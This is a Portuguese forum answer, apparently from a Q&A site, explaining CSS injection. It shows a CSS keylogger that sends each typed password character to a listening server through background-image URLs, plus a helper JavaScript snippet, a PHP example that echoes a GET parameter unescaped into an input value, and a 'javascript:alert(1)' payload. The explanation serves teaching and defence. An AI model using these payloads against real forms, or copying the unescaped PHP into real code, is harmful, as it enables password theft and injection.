CSS Injection é sim um ataque que pode às vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como WordPress em que possibilita o usuário inserir o seu próprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do CSS, você já deve ter reparado que ele utiliza o parâmetro url
sendo possível adicionar uma URL externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo.
Se você tem um formulário com um input
que contenha uma senha:
<input type="password" />
Seria possível dessa forma, o invasor injetar um CSS que hooka esse evento, ficando dessa forma:
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }
input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }
Você adicionando um servidor que ouve essas requisições seria possível saber que a tecla a foi pressionada, assim como seria possível a tecla b, c e assim por diante, é trabalhoso porém é completamente possível criar um keylogger em CSS. Também é possível inserir um JavaScript entre outras opções. Caso queira dar uma analisada em um keylogger CSS, veja este link.
Editado
Para esclarecer os comentários, você necessitaria sim de algo que disparasse o evento, no caso um JavaScript mesmo, mas o que eu quis passar aqui foi a idéia do CSS. Com o código JavaScript adicionado funcionaria o keylogger, porém é notório que a falha não é ocorrida pelo JavaScript e sim pela URL do CSS:
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
E mesmo que não seja adicionado o JavaScript, seria possível sim captar os dados, não atuando como um keylogger exatamente, porém ainda funcionando, pois mesmo que o CSS não funcione como um listener, ainda existem formulários que são preenchidos os values pelo PHP, exemplo que ainda ocorre hoje em dia:
<form>
<input type="login" value="<?php echo $_GET['login']; ?>" />
</form>
Você também já deve ter reparado que ele só pegará a última letra. Mas a questão aqui é que é sim possível pegar o que digitou, mesmo não sendo a palavra por completo.
<div style="background:url('javascript:alert(1)')">
e essa é só o primeiro passo dos 11 que ele descreve lá. Bem interessante mesmo!